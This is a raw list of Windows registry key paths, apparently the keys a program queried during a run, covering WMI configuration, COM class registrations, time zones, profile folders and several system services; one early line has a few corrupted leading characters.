HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
\xe230\x17dEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\9D7CE237
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\CMF\Config\SYSTEM
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\WMIDisableCOMSecurity
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\TZI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Display
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Std
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Central European Standard Time\MUI_Dlt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ProgID\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{69D3FE78-0E22-4501-90C5-1ED642DE5C89}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{AD7CA75A-2211-422D-9229-6AFE774A1383}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{DF305CAA-D6C2-40B4-9147-8279E374FF2B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{F898F7F5-BCC6-41DD-8B61-B3C11292039B}\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Audiosrv\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
